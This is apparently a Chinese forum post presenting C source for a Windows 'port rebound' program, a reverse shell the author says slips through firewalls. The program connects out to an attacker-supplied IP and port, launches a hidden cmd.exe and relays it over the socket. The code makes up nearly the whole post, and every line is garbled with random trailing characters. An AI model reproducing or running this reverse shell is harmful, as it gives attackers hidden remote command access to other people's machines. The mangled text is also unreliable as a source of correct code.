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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /:y2Up-  
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/* ============================== [{@zb-h  
Rebound port in Windows NT [X }@Ct6  
By wind,2006/7 *vRI)>wU  
===============================*/ J`r,_)J"2  
#include {,Bb"0 \  
#include L-z ;:Ztk  
\o B'  
#pragma comment(lib,"wsock32.lib") M 20Bc,VI  
z9M.e.  
void OutputShell(); "brRME3  
SOCKET sClient; }. xrJ52Tz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B.YMP;7>  
;vJ\]T ml  
void main(int argc,char **argv) 2Io6s '  
{ v\ %B  
WSADATA stWsaData; rv}mD  
int nRet; 6QII&Fg  
SOCKADDR_IN stSaiClient,stSaiServer; U=kx`j>  
~M ,{ _  
if(argc != 3) "]T$\PJun  
{ `V&1]C8x  
printf("Useage:\n\rRebound DestIP DestPort\n"); `*NO_ K  
return; hV-V eKjZ(  
} ~!ZmF(:  
T A\4uy6o  
WSAStartup(MAKEWORD(2,2),&stWsaData); ou'~{-_xd  
^qeY9O  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (T|TEt  
i*S|qX7``  
stSaiClient.sin_family = AF_INET; CGC-"A/W  
stSaiClient.sin_port = htons(0); pcy<2UV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5{13 V*<  
<&5m N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }!%JYG^!D  
{ 2mqK3-c  
printf("Bind Socket Failed!\n"); #ya\Jdx   
return; )N" Ew0U  
} vZ$U^>":  
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stSaiServer.sin_family = AF_INET; \.H9$C$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g@~!kh,TH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ](W5.a,-$L  
D XV@DQ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7}4'dW.  
{ 7G5y)Qb  
printf("Connect Error!"); 0n:?sFY>  
return; TN35CaSmq  
} F{k$Atb?g/  
OutputShell(); BXg!zW%+  
} p$Kj<:qiP  
ba uA}3  
void OutputShell() VL+N: wb>  
{ 7qe7F l3  
char szBuff[1024]; EntF@ln!  
SECURITY_ATTRIBUTES stSecurityAttributes; e-X HN  
OSVERSIONINFO stOsversionInfo; KD% TxK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e74zR6  
STARTUPINFO stStartupInfo; B%tIwUE2  
char *szShell; Vb@ 4(Q  
PROCESS_INFORMATION stProcessInformation; J I<3\=:+  
unsigned long lBytesRead; FR:d^mL  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qib 7Z]j  
6HoqEku/Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [X,A'Q  
stSecurityAttributes.lpSecurityDescriptor = 0; AR%hf  
stSecurityAttributes.bInheritHandle = TRUE; "8N"Udu  
TQP+>nS,  
X ZS5B~E '  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _!n}P5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QR<`pmB~y  
43zUN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +TC1nkX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CqqXVF3  
stStartupInfo.wShowWindow = SW_HIDE; R7K!A %  
stStartupInfo.hStdInput = hReadPipe; ''IoC j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g"wxC@IR  
&lAQ &  
GetVersionEx(&stOsversionInfo); wGvhB%8K  
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switch(stOsversionInfo.dwPlatformId) dUS  ZNY  
{ )QmGsU}?  
case 1: h#i\iK&A  
szShell = "command.com"; C+w__gO&r  
break; Z@3l%p6V  
default: '>@4(=I  
szShell = "cmd.exe"; LP:nba :  
break; $5,~JYcb  
} h T<n1q~  
N{8"s&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v*SAI]{#~  
]q{ PDZ   
send(sClient,szMsg,77,0); BQ#3QL't  
while(1) AUfS-  
{ #EbGL])F}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s5l3V2k  
if(lBytesRead) Jf7frzw  
{ [*8Y'KX <  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8tLHr@%%  
send(sClient,szBuff,lBytesRead,0); XS?gn.o\  
} ZK6Hvc0  
else o0ZIsrr  
{ ?aBj#  
lBytesRead=recv(sClient,szBuff,1024,0); mEFw|M{  
if(lBytesRead<=0) break; Yd:Q`#7A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f1mHN7hxW  
} !VwmPAMr#v  
} hSB?@I4s<\  
Yi(1^'Bi  
return; d?A}qA[(  
}
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